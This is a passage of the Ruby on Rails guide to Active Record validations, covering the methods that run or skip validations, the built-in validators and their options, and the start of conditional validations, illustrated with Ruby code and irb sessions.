Saving a new record will send an SQL `INSERT` operation to the database, whereas updating an existing record will send an SQL `UPDATE` operation. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the `INSERT` or `UPDATE` operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.

While validations usually prevent invalid data from being saved to the database, it's important to be aware that not all methods in Rails trigger validations. Some methods allow changes to be made directly to the database without performing validations. As a result, if you're not careful, it’s possible to [bypass validations](#skipping-validations) and save an object in an invalid state.

The following methods trigger validations, and will save the object to the database only if the object is valid:

* [`create`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create)
* [`create!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create-21)
* [`save`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-save)
* [`save!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-save-21)
* [`update`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update)
* [`update!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update-21)

The bang versions (methods that end with an exclamation mark, like `save!`) raise an exception if the record is invalid. The non-bang versions - `save` and `update` returns `false`, and `create` returns the object.

### [1.4. Skipping Validations](#skipping-validations)

The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution. Refer to the method documentation to learn more.

* [`decrement!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-decrement-21)
* [`decrement_counter`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter)
* [`increment!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-increment-21)
* [`increment_counter`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter)
* [`insert`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert)
* [`insert!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert-21)
* [`insert_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert_all)
* [`insert_all!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-insert_all-21)
* [`toggle!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-toggle-21)
* [`touch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-touch)
* [`touch_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-touch_all)
* [`update_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-update_all)
* [`update_attribute`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update_attribute)
* [`update_attribute!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update_attribute-21)
* [`update_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update_column)
* [`update_columns`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Persistence.html#method-i-update_columns)
* [`update_counters`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-update_counters)
* [`upsert`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-upsert)
* [`upsert_all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-upsert_all)
* `save(validate: false)`

`save` also has the ability to skip validations if `validate: false` is passed as an argument. This technique should be used with caution.

### [1.5. Checking Validity](#checking-validity)

Before saving an Active Record object, Rails runs your validations, and if these validations produce any validation errors, then Rails will not save the object.

You can also run the validations on your own. [`valid?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Validations.html#method-i-valid-3F) triggers your validations and returns true if no errors are found in the object, and false otherwise. As you saw above:

```
class Person < ApplicationRecord
  validates :name, presence: true
end
```

```
irb> Person.new(name: "John Doe").valid?
=> true
irb> Person.new(name: nil).valid?
=> false
```

After Active Record has performed validations, any failures can be accessed through the [`errors`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-errors) instance method, which returns a collection of errors. By definition, an object is valid if the collection is empty after running validations.

An object instantiated with `new` will not report errors even if it's technically invalid, because validations are automatically run only when the object is saved, such as with the `create` or `save` methods.

```
class Person < ApplicationRecord
  validates :name, presence: true
end
```

```
irb> person = Person.new
=> #<Person id: nil, name: nil, created_at: nil, updated_at: nil>
irb> person.errors.size
=> 0

irb> person.valid?
=> false
irb> person.errors.objects.first.full_message
=> "Name can't be blank"

irb> person.save
=> false

irb> person.save!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

irb> Person.create!
ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
```

[`invalid?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html#method-i-invalid-3F) is the inverse of `valid?`. It triggers your validations, returning true if any errors were found in the object, and false otherwise.

### [1.6. Inspecting and Handling Errors](#inspecting-and-handling-errors)

To verify whether or not a particular attribute of an object is valid, you can use [`errors[:attribute]`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-5B-5D). It returns an array of all the error messages for `:attribute`. If there are no errors on the specified attribute, an empty array is returned. This allows you to easily determine whether there are any validation issues with a specific attribute.

Here’s an example illustrating how to check for errors on an attribute:

```
class Person < ApplicationRecord
  validates :name, presence: true
end
```

```
irb> new_person = Person.new
irb> new_person.errors[:name]
=> [] # no errors since validations are not run until saved
irb> new_person.errors[:name].any?
=> false

irb> create_person = Person.create
irb> create_person.errors[:name]
=> ["can't be blank"] # validation error because `name` is required
irb> create_person.errors[:name].any?
=> true
```

Additionally, you can use the [`errors.add`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-add) method to manually add error messages for specific attributes. This is particularly useful when defining custom validation scenarios.

```
class Person < ApplicationRecord
  validate do |person|
    errors.add :name, :too_short, message: "is not long enough"
  end
end
```

To read about validation errors in greater depth refer to the [Working with Validation Errors](#working-with-validation-errors) section.

## [2. Validations](#validations)

Active Record offers many predefined validations that you can use directly inside your class definitions. These predefined validations provide common validation rules. Each time a validation fails, an error message is added to the object's `errors` collection, and this error is associated with the specific attribute being validated.

When a validation fails, the error message is stored in the `errors` collection under the attribute name that triggered the validation. This means you can easily access the errors related to any specific attribute. For instance, if you validate the `:name` attribute and the validation fails, you will find the error message under `errors[:name]`.

In modern Rails applications, the more concise validate syntax is commonly used, for example:

```
validates :name, presence: true
```

However, older versions of Rails used "helper" methods, such as:

```
validates_presence_of :name
```

Both notations perform the same function, but the newer form is recommended for its readability and alignment with Rails' conventions.

Each validation accepts an arbitrary number of attribute names, allowing you to apply the same type of validation to multiple attributes in a single line of code.

Additionally, all validations accept the `:on` and `:message` options. The `:on` option specifies when the validation should be triggered, with possible values being `:create` or `:update`. The `:message` option allows you to define a custom error message that will be added to the errors collection if the validation fails. If you do not specify a message, Rails will use a default error message for that validation.

To see a list of the available default helpers, take a look at [`ActiveModel::Validations::HelperMethods`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/HelperMethods.html). This API section uses the older notation as described above.

Below we outline the most commonly used validations.

### [2.1. `absence`](#absence)

This validator validates that the specified attributes are absent. It uses the [`Object#present?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-present-3F) method to check if the value is neither nil nor a blank string - that is, a string that is either empty or consists of whitespace only.

`#absence` is commonly used for conditional validations. For example:

```
class Person < ApplicationRecord
  validates :phone_number, :address, absence: true, if: :invited?
end
```

```
irb> person = Person.new(name: "Jane Doe", invitation_sent_at: Time.current)
irb> person.valid?
=> true # absence validation passes
```

If you want to be sure that an association is absent, you'll need to test whether the associated object itself is absent, and not the foreign key used to map the association.

```
class LineItem < ApplicationRecord
  belongs_to :order, optional: true
  validates :order, absence: true
end
```

```
irb> line_item = LineItem.new
irb> line_item.valid?
=> true # absence validation passes

order = Order.create
irb> line_item_with_order = LineItem.new(order: order)
irb> line_item_with_order.valid?
=> false # absence validation fails
```

For `belongs_to` the association presence is validated by default. If you don’t want to have association presence validated, use `optional: true`.

Rails will usually infer the inverse association automatically. In cases where you use a custom `:foreign_key` or a `:through` association, it's important to explicitly set the `:inverse_of` option to optimize the association lookup. This helps avoid unnecessary database queries during validation.

For more details, check out the [Bi-directional Associations documentation](association_basics.html#bi-directional-associations).

If you want to ensure that the association is both present and valid, you also need to use `validates_associated`. More on that in the [validates\_associated section](#validates-associated).

If you validate the absence of an object associated via a [`has_one`](association_basics.html#has-one) or [`has_many`](association_basics.html#has-many) relationship, it will check that the object is neither `present?` nor `marked_for_destruction?`.

Since `false.present?` is false, if you want to validate the absence of a boolean field you should use:

```
validates :field_name, exclusion: { in: [true, false] }
```

The default error message is *"must be blank"*.

### [2.2. `acceptance`](#acceptance)

This method validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm that some text is read, or any similar concept.

```
class Person < ApplicationRecord
  validates :terms_of_service, acceptance: true
end
```

This check is performed only if `terms_of_service` is not `nil`. The default error message for this validation is *"must be accepted"*. You can also pass in a custom message via the `message` option.

```
class Person < ApplicationRecord
  validates :terms_of_service, acceptance: { message: "must be agreed to" }
end
```

It can also receive an `:accept` option, which determines the allowed values that will be considered as acceptable. It defaults to `['1', true]` and can be easily changed.

```
class Person < ApplicationRecord
  validates :terms_of_service, acceptance: { accept: "yes" }
  validates :eula, acceptance: { accept: ["TRUE", "accepted"] }
end
```

This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database. If you don't have a field for it, the validator will create a virtual attribute. If the field does exist in your database, the `accept` option must be set to or include `true` or else the validation will not run.

### [2.3. `confirmation`](#confirmation)

You should use this validator when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "\_confirmation" appended.

```
class Person < ApplicationRecord
  validates :email, confirmation: true
end
```

In your view template you could use something like

```
<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>
```

This check is performed only if `email_confirmation` is not `nil`. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at the [`presence`](#presence) check later on in this guide):

```
class Person < ApplicationRecord
  validates :email, confirmation: true
  validates :email_confirmation, presence: true
end
```

There is also a `:case_sensitive` option that you can use to define whether the confirmation constraint will be case sensitive or not. This option defaults to true.

```
class Person < ApplicationRecord
  validates :email, confirmation: { case_sensitive: false }
end
```

The default error message for this validator is *"doesn't match confirmation"*. You can also pass in a custom message via the `message` option.

Generally when using this validator, you will want to combine it with the `:if` option to only validate the "\_confirmation" field when the initial field has changed and **not** every time you save the record. More on [conditional validations](#conditional-validations) later.

```
class Person < ApplicationRecord
  validates :email, confirmation: true
  validates :email_confirmation, presence: true, if: :email_changed?
end
```

### [2.4. `comparison`](#comparison)

This validator will validate a comparison between any two comparable values.

```
class Promotion < ApplicationRecord
  validates :end_date, comparison: { greater_than: :start_date }
end
```

The default error message for this validator is *"failed comparison"*. You can also pass in a custom message via the `message` option.

These options are all supported:

| Option                      | Description                                                              | Default Error Message                       |
| --------------------------- | ------------------------------------------------------------------------ | ------------------------------------------- |
| `:greater_than`             | Specifies the value must be greater than the supplied value.             | "must be greater than %{count}"             |
| `:greater_than_or_equal_to` | Specifies the value must be greater than or equal to the supplied value. | "must be greater than or equal to %{count}" |
| `:equal_to`                 | Specifies the value must be equal to the supplied value.                 | "must be equal to %{count}"                 |
| `:less_than`                | Specifies the value must be less than the supplied value.                | "must be less than %{count}"                |
| `:less_than_or_equal_to`    | Specifies the value must be less than or equal to the supplied value.    | "must be less than or equal to %{count}"    |
| `:other_than`               | Specifies the value must be other than the supplied value.               | "must be other than %{count}"               |

The validator requires a compare option be supplied. Each option accepts a value, proc, or symbol. Any class that includes [Comparable](https://docs.ruby-lang.org/en/master/Comparable.html) can be compared.

### [2.5. `format`](#format)

This validator validates the attributes' values by testing whether they match a given regular expression, which is specified using the `:with` option.

```
class Product < ApplicationRecord
  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
    message: "only allows letters" }
end
```

Inversely, by using the `:without` option instead you can require that the specified attribute does *not* match the regular expression.

In either case, the provided `:with` or `:without` option must be a regular expression or a proc or lambda that returns one.

The default error message is *"is invalid"*.

Use `\A` and `\z` to match the start and end of the string, `^` and `$` match the start/end of a line. Due to frequent misuse of `^` and `$`, you need to pass the `multiline: true` option in case you use any of these two anchors in the provided regular expression. In most cases, you should be using `\A` and `\z`.

### [2.6. `inclusion` and `exclusion`](#inclusion-and-exclusion)

Both of these validators validate whether an attribute’s value is included or excluded from a given set. The set can be any enumerable object such as an array, range, or a dynamically generated collection using a proc, lambda, or symbol.

* **`inclusion`** ensures that the value is present in the set.
* **`exclusion`** ensures that the value is *not* present in the set.

In both cases, the option `:in` receives the set of values, and `:within` can be used as an alias. For full options on customizing error messages, see the [message documentation](#message).

If the enumerable is a numerical, time, or datetime range, the test is performed using `Range#cover?`, otherwise, it uses `include?`. When using a proc or lambda, the instance under validation is passed as an argument, allowing for dynamic validation.

#### [2.6.1. Examples](#examples)

For `inclusion`:

```
class Coffee < ApplicationRecord
  validates :size, inclusion: { in: %w(small medium large),
    message: "%{value} is not a valid size" }
end
```

For `exclusion`:

```
class Account < ApplicationRecord
  validates :subdomain, exclusion: { in: %w(www us ca jp),
    message: "%{value} is reserved." }
end
```

Both validators allow the use of dynamic validation through methods that return an enumerable. Here’s an example using a proc for `inclusion`:

```
class Coffee < ApplicationRecord
  validates :size, inclusion: { in: ->(coffee) { coffee.available_sizes } }

  def available_sizes
    %w(small medium large extra_large)
  end
end
```

Similarly, for `exclusion`:

```
class Account < ApplicationRecord
  validates :subdomain, exclusion: { in: ->(account) { account.reserved_subdomains } }

  def reserved_subdomains
    %w(www us ca jp admin)
  end
end
```

### [2.7. `length`](#length)

This validator validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:

```
class Person < ApplicationRecord
  validates :name, length: { minimum: 2 }
  validates :bio, length: { maximum: 500 }
  validates :password, length: { in: 6..20 }
  validates :registration_number, length: { is: 6 }
end
```

The possible length constraint options are:

| Option     | Description                                                                                           |
| ---------- | ----------------------------------------------------------------------------------------------------- |
| `:minimum` | The attribute cannot have less than the specified length.                                             |
| `:maximum` | The attribute cannot have more than the specified length.                                             |
| `:in`      | The attribute length must be included in a given interval. The value for this option must be a range. |
| `:is`      | The attribute length must be equal to the given value.                                                |

The default error messages depend on the type of length validation being performed. You can customize these messages using the `:wrong_length`, `:too_long`, and `:too_short` options and `%{count}` as a placeholder for the number corresponding to the length constraint being used. You can still use the `:message` option to specify an error message.

```
class Person < ApplicationRecord
  validates :bio, length: { maximum: 1000,
    too_long: "%{count} characters is the maximum allowed" }
end
```

The default error messages are plural (e.g. "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should provide a custom message or use `presence: true` instead. Similarly, when `:in` or `:within` have a lower limit of 1, you should either provide a custom message or call `presence` prior to `length`. Only one constraint option can be used at a time apart from the `:minimum` and `:maximum` options which can be combined together.

### [2.8. `numericality`](#numericality)

This validator validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integer or floating point number.

To specify that only integer numbers are allowed, set `:only_integer` to true. Then it will use the following regular expression to validate the attribute's value.

```
/\A[+-]?\d+\z/
```

Otherwise, it will try to convert the value to a number using `Float`. `Float`s are converted to `BigDecimal` using the column's precision value or a maximum of 15 digits.

```
class Player < ApplicationRecord
  validates :points, numericality: true
  validates :games_played, numericality: { only_integer: true }
end
```

The default error message for `:only_integer` is *"must be an integer"*.

Besides `:only_integer`, this validator also accepts the `:only_numeric` option which specifies the value must be an instance of `Numeric` and attempts to parse the value if it is a `String`.

By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it. For `Integer` and `Float` columns empty strings are converted to `nil`.

The default error message when no options are specified is *"is not a number"*.

There are also many options that can be used to add constraints to acceptable values:

| Option                      | Description                                                              | Default Error Message                       |
| --------------------------- | ------------------------------------------------------------------------ | ------------------------------------------- |
| `:greater_than`             | Specifies the value must be greater than the supplied value.             | "must be greater than %{count}"             |
| `:greater_than_or_equal_to` | Specifies the value must be greater than or equal to the supplied value. | "must be greater than or equal to %{count}" |
| `:equal_to`                 | Specifies the value must be equal to the supplied value.                 | "must be equal to %{count}"                 |
| `:less_than`                | Specifies the value must be less than the supplied value.                | "must be less than %{count}"                |
| `:less_than_or_equal_to`    | Specifies the value must be less than or equal to the supplied value.    | "must be less than or equal to %{count}"    |
| `:other_than`               | Specifies the value must be other than the supplied value.               | "must be other than %{count}"               |
| `:in`                       | Specifies the value must be in the supplied range.                       | "must be in %{count}"                       |
| `:odd`                      | Specifies the value must be an odd number.                               | "must be odd"                               |
| `:even`                     | Specifies the value must be an even number.                              | "must be even"                              |

### [2.9. `presence`](#presence)

This validator validates that the specified attributes are not empty. It uses the [`Object#blank?`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-blank-3F) method to check if the value is either `nil` or a blank string - that is, a string that is either empty or consists of whitespace.

```
class Person < ApplicationRecord
  validates :name, :login, :email, presence: true
end
```

```
person = Person.new(name: "Alice", login: "alice123", email: "alice@example.com")
person.valid?
=> true # presence validation passes

invalid_person = Person.new(name: "", login: nil, email: "bob@example.com")
invalid_person.valid?
=> false # presence validation fails
```

To check that an association is present, you'll need to test that the associated object is present, and not the foreign key used to map the association. Testing the association will help you to determine that the foreign key is not empty and also that the referenced object exists.

```
class Supplier < ApplicationRecord
  has_one :account
  validates :account, presence: true
end
```

```
irb> account = Account.create(name: "Account A")

irb> supplier = Supplier.new(account: account)
irb> supplier.valid?
=> true # presence validation passes

irb> invalid_supplier = Supplier.new
irb> invalid_supplier.valid?
=> false # presence validation fails
```

In cases where you use a custom `:foreign_key` or a `:through` association, it's important to explicitly set the `:inverse_of` option to optimize the association lookup. This helps avoid unnecessary database queries during validation.

For more details, check out the [Bi-directional Associations documentation](association_basics.html#bi-directional-associations).

If you want to ensure that the association is both present and valid, you also need to use `validates_associated`. More on that [below](#validates-associated).

If you validate the presence of an object associated via a [`has_one`](association_basics.html#has-one) or [`has_many`](association_basics.html#has-many) relationship, it will check that the object is neither `blank?` nor `marked_for_destruction?`.

Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use one of the following validations:

```
# Value _must_ be true or false
validates :boolean_field_name, inclusion: [true, false]
# Value _must not_ be nil, aka true or false
validates :boolean_field_name, exclusion: [nil]
```

By using one of these validations, you will ensure the value will NOT be `nil` which would result in a `NULL` value in most cases.

The default error message is *"can't be blank"*.

### [2.10. `uniqueness`](#uniqueness)

This validator validates that the attribute's value is unique right before the object gets saved.

```
class Account < ApplicationRecord
  validates :email, uniqueness: true
end
```

The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.

There is a `:scope` option that you can use to specify one or more attributes that are used to limit the uniqueness check:

```
class Holiday < ApplicationRecord
  validates :name, uniqueness: { scope: :year,
    message: "should happen once per year" }
end
```

This validation does not create a uniqueness constraint in the database, so a scenario can occur whereby two different database connections create two records with the same value for a column that you intended to be unique. To avoid this, you must create a unique index on that column in your database.

In order to add a uniqueness database constraint on your database, use the [`add_index`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index) statement in a migration and include the `unique: true` option.

If you are using the `:scope` option in your uniqueness validation, and you wish to create a database constraint to prevent possible violations of the uniqueness validation, you must create a unique index on both columns in your database. See [the MySQL manual](https://dev.mysql.com/doc/refman/en/multiple-column-indexes.html) and [the MariaDB manual](https://mariadb.com/kb/en/compound-composite-indexes/) for more details about multiple column indexes, or [the PostgreSQL manual](https://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns.

There is also a `:case_sensitive` option that you can use to define whether the uniqueness constraint will be case sensitive, case insensitive, or if it should respect the default database collation. This option defaults to respecting the default database collation.

```
class Person < ApplicationRecord
  validates :name, uniqueness: { case_sensitive: false }
end
```

Some databases are configured to perform case-insensitive searches anyway.

A `:conditions` option can be used to specify additional conditions as a `WHERE` SQL fragment to limit the uniqueness constraint lookup:

```
validates :name, uniqueness: { conditions: -> { where(status: "active") } }
```

The default error message is *"has already been taken"*.

See [`validates_uniqueness_of`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_uniqueness_of) for more information.

### [2.11. `validates_associated`](#validates-associated)

You should use this validator when your model has associations that always need to be validated. Every time you try to save your object, `valid?` will be called on each one of the associated objects.

```
class Library < ApplicationRecord
  has_many :books
  validates_associated :books
end
```

This validation will work with all of the association types.

Don't use `validates_associated` on both ends of your associations. They would call each other in an infinite loop.

The default error message for [`validates_associated`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated) is *"is invalid"*. Note that each associated object will contain its own `errors` collection; errors do not bubble up to the calling model.

[`validates_associated`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated) can only be used with ActiveRecord objects, everything up until now can also be used on any object which includes [`ActiveModel::Validations`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html).

### [2.12. `validates_each`](#validates-each)

This validator validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to [`validates_each`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each) will be tested against it.

In the following example, we will reject names and surnames that begin with lowercase.

```
class Person < ApplicationRecord
  validates_each :name, :surname do |record, attr, value|
    record.errors.add(attr, "must start with upper case") if /\A[[:lower:]]/.match?(value)
  end
end
```

The block receives the record, the attribute's name, and the attribute's value.

You can do anything you like to check for valid data within the block. If your validation fails, you should add an error to the model, therefore making it invalid.

### [2.13. `validates_with`](#validates-with)

This validator passes the record to a separate class for validation.

```
class AddressValidator < ActiveModel::Validator
  def validate(record)
    if record.house_number.blank?
      record.errors.add :house_number, "is required"
    end

    if record.street.blank?
      record.errors.add :street, "is required"
    end

    if record.postcode.blank?
      record.errors.add :postcode, "is required"
    end
  end
end

class Invoice < ApplicationRecord
  validates_with AddressValidator
end
```

There is no default error message for `validates_with`. You must manually add errors to the record's errors collection in the validator class.

Errors added to `record.errors[:base]` relate to the state of the record as a whole.

To implement the validate method, you must accept a `record` parameter in the method definition, which is the record to be validated.

If you want to add an error on a specific attribute, you can pass it as the first argument to the `add` method.

```
def validate(record)
  if record.some_field != "acceptable"
    record.errors.add :some_field, "this field is unacceptable"
  end
end
```

We will cover [validation errors](#working-with-validation-errors) in greater detail later.

The [`validates_with`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with) validator takes a class, or a list of classes to use for validation.

```
class Person < ApplicationRecord
  validates_with MyValidator, MyOtherValidator, on: :create
end
```

Like all other validations, `validates_with` takes the `:if`, `:unless` and `:on` options. If you pass any other options, it will send those options to the validator class as `options`:

```
class AddressValidator < ActiveModel::Validator
  def validate(record)
    options[:fields].each do |field|
      if record.send(field).blank?
        record.errors.add field, "is required"
      end
    end
  end
end

class Invoice < ApplicationRecord
  validates_with AddressValidator, fields: [:house_number, :street, :postcode, :country]
end
```

The validator will be initialized *only once* for the whole application life cycle, and not on each validation run, so be careful about using instance variables inside it.

If your validator is complex enough that you want instance variables, you can easily use a plain old Ruby object instead:

```
class Invoice < ApplicationRecord
  validate do |invoice|
    AddressValidator.new(invoice).validate
  end
end

class AddressValidator
  def initialize(invoice)
    @invoice = invoice
  end

  def validate
    validate_field(:house_number)
    validate_field(:street)
    validate_field(:postcode)
  end

  private
    def validate_field(field)
      if @invoice.send(field).blank?
        @invoice.errors.add field, "#{field.to_s.humanize} is required"
      end
    end
end
```

We will cover [custom validations](#performing-custom-validations) more later.

## [3. Validation Options](#validation-options)

There are several common options supported by the validators. These options are:

* [`:allow_nil`](#allow-nil): Skip validation if the attribute is `nil`.
* [`:allow_blank`](#allow-blank): Skip validation if the attribute is blank.
* [`:message`](#message): Specify a custom error message.
* [`:on`](#on): Specify the contexts where this validation is active.
* [`:strict`](#strict-validations): Raise an exception when the validation fails.
* [`:if` and `:unless`](#conditional-validations): Specify when the validation should or should not occur.

Not all of these options are supported by every validator, please refer to the API documentation for [`ActiveModel::Validations`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Validations.html).

### [3.1. `:allow_nil`](#allow-nil)

The `:allow_nil` option skips the validation when the value being validated is `nil`.

```
class Coffee < ApplicationRecord
  validates :size, inclusion: { in: %w(small medium large),
    message: "%{value} is not a valid size" }, allow_nil: true
end
```

```
irb> Coffee.create(size: nil).valid?
=> true
irb> Coffee.create(size: "mega").valid?
=> false
```

For full options to the message argument please see the [message documentation](#message).

### [3.2. `:allow_blank`](#allow-blank)

The `:allow_blank` option is similar to the `:allow_nil` option. This option will let validation pass if the attribute's value is `blank?`, like `nil` or an empty string for example.

```
class Topic < ApplicationRecord
  validates :title, length: { is: 6 }, allow_blank: true
end
```

```
irb> Topic.create(title: "").valid?
=> true
irb> Topic.create(title: nil).valid?
=> true
irb> Topic.create(title: "short").valid?
=> false # 'short' is not of length 6, so validation fails even though it's not blank
```

### [3.3. `:message`](#message)

As you've already seen, the `:message` option lets you specify the message that will be added to the `errors` collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation.

The `:message` option accepts either a `String` or `Proc` as its value.

A `String` `:message` value can optionally contain any/all of `%{value}`, `%{attribute}`, and `%{model}` which will be dynamically replaced when validation fails. This replacement is done using the [i18n gem](https://github.com/ruby-i18n/i18n), and the placeholders must match exactly, no spaces are allowed.

```
class Person < ApplicationRecord
  # Hard-coded message
  validates :name, presence: { message: "must be given please" }

  # Message with dynamic attribute value. %{value} will be replaced
  # with the actual value of the attribute. %{attribute} and %{model}
  # are also available.
  validates :age, numericality: { message: "%{value} seems wrong" }
end
```

A `Proc` `:message` value is given two arguments: the object being validated, and a hash with `:model`, `:attribute`, and `:value` key-value pairs.

```
class Person < ApplicationRecord
  validates :username,
    uniqueness: {
      # object = person object being validated
      # data = { model: "Person", attribute: "Username", value: <username> }
      message: ->(object, data) do
        "Hey #{object.name}, #{data[:value]} is already taken."
      end
    }
end
```

To translate error messages, see the [I18n guide](i18n.html#error-message-scopes).

### [3.4. `:on`](#on)

The `:on` option lets you specify when the validation should happen. The default behavior for all the built-in validations is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use `on: :create` to run the validation only when a new record is created or `on: :update` to run the validation only when a record is updated.

```
class Person < ApplicationRecord
  # it will be possible to update email with a duplicated value
  validates :email, uniqueness: true, on: :create

  # it will be possible to create the record with a non-numerical age
  validates :age, numericality: true, on: :update

  # the default (validates on both create and update)
  validates :name, presence: true
end
```

You can also use `:on` to define custom contexts. Custom contexts need to be triggered explicitly by passing the name of the context to `valid?`, `invalid?`, or `save`.

```
class Person < ApplicationRecord
  validates :email, uniqueness: true, on: :account_setup
  validates :age, numericality: true, on: :account_setup
end
```

```
irb> person = Person.new(age: 'thirty-three')
irb> person.valid?
=> true
irb> person.valid?(:account_setup)
=> false
irb> person.errors.messages
=> {:email=>["has already been taken"], :age=>["is not a number"]}
```

`person.valid?(:account_setup)` executes both the validations without saving the model. `person.save(context: :account_setup)` validates `person` in the `account_setup` context before saving.

Passing an array of symbols is also acceptable.

```
class Book
  include ActiveModel::Validations

  validates :title, presence: true, on: [:update, :ensure_title]
end
```

```
irb> book = Book.new(title: nil)
irb> book.valid?
=> true
irb> book.valid?(:ensure_title)
=> false
irb> book.errors.messages
=> {:title=>["can't be blank"]}
```

When triggered by an explicit context, validations are run for that context, as well as any validations *without* a context.

```
class Person < ApplicationRecord
  validates :email, uniqueness: true, on: :account_setup
  validates :age, numericality: true, on: :account_setup
  validates :name, presence: true
end
```

```
irb> person = Person.new
irb> person.valid?(:account_setup)
=> false
irb> person.errors.messages
=> {:email=>["has already been taken"], :age=>["is not a number"], :name=>["can't be blank"]}
```

You can read more about use-cases for `:on` in the [Custom Contexts section](#custom-contexts).

## [4. Conditional Validations](#conditional-validations)

Sometimes it will make sense to validate an object only when a given condition is met. You can do that by using the `:if` and `:unless` options, which can take a symbol, a `Proc` or an `Array`. You may use the `:if` option when you want to specify when the validation **should** happen. Alternatively, if you want to specify when the validation **should not** happen, then you may use the `:unless` option.

### [4.1. Using a Symbol with `:if` and `:unless`](#using-a-symbol-with-if-and-unless)

You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

```
class Order < ApplicationRecord
  validates :card_number, presence: true, if: :paid_with_card?

  def paid_with_card?
    payment_type == "card"
  end
end
```

### [4.2. Using a Proc with `:if` and `:unless`](#using-a-proc-with-if-and-unless)

It is possible to associate `:if` and `:unless` with a `Proc` object which will be called. Using a `Proc` object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.

```
class Account < ApplicationRecord
  validates :password, confirmation: true,
    unless: Proc.new { |a| a.password.blank? }
end
```

As `lambda` is a type of `Proc`, it can also be used to write inline conditions taking advantage of the shortened syntax.

```
validates :password, confirmation: true, unless: -> { password.blank? }
```

### [4.3. Grouping Conditional Validations](#grouping-conditional-validations)

Sometimes it is useful to have multiple validations use one condition. It can be easily achieved using [`with_options`](https://api.rubyonrails.org/v8.1.4/classes/Object.html#method-i-with_options).

```
class User < ApplicationRecord
  with_options if: :is_admin? do |admin|
    admin.validates :password, length: { minimum: 10 }
